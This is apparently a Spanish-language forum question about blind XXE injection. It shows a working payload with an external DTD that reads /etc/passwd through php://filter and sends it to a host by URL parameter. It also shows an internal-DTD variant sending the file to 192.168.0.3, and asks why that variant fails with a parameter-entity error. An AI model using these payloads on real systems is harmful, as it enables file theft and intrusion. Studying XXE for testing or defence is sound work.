Una carga útil XXE ciega adecuada es: -
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>
File stored on http://127.0.0.1/dtd.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>">
Ahora no entendía por qué necesitamos una DTD externa. He intentado usar esta carga inferior como dtd interno.
<?xml version="1.0"?><!DOCTYPE r [<!ENTITY % dtdcall SYSTEM 'file:///etc/passwd' > <!ENTITY % test "<!ENTITY server SYSTEM 'http://192.168.0.3:808/?%dtdcall;'>">%test; ]><r>&server;</r>
PERO recibí un error: - PEReferences forbidden in internal subset in blah blah
.
¿Alguien puede explicar esto?